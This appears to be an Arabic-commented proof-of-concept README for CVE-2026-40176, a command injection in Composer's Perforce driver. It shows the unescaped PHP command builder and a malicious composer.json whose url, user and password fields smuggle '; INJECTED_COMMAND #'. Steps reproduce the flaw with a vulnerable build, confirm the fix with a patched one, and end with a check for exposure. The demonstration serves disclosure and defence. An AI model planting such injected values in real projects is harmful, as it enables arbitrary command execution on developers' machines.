public function generateP4Command($command, $useClient = true)
    {
        $p4Command = 'p4 ';
        $p4Command .= '-u ' . $this->getUser() . ' ';
        if ($useClient) 
            $p4Command .= '-c ' . $this->getClient() . ' ';
        }
        $p4Command .= '-p ' . $this->getPort() . ' ' . $command;

        return $p4Command;
    }

{
  "repositories": [
    {
      "type": "perforce",
      "url": "PERFORCE_URL; INJECTED_COMMAND #",
      "depot": "depot",
      "p4user": "user; INJECRTED_COMMAND #",
      "p4password": "password; INJECTED_COMMAND #",
    }
  ]
}

CVE-2026-40176/
├── composer.json              # إعداد مستودع Perforce الخبيث
├── vuln-composer.phar         # Composer 2.2.26 (قابل للاستغلال)
├── patched-composer.phar      # Composer 2.2.27 (مُصحح)
└── README.md                  # هذا الملف

git clone <repository-url>
cd CVE-2026-40176

php vuln-composer.phar --version
# Output: Composer version 2.2.26

php patched-composer.phar --version
# Output: Composer version 2.2.27

php vuln-composer.phar install
# OR
php vuln-composer.phar update

ls -la /tmp/pwned

rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# يجب ألا يوجد الملف (تم إصلاح الثغرة)

# تحقق من إصدار Composer لديك
composer --version

# ابحث عن مستودعات Perforce في مشاريعك
grep -r "perforce" */composer.json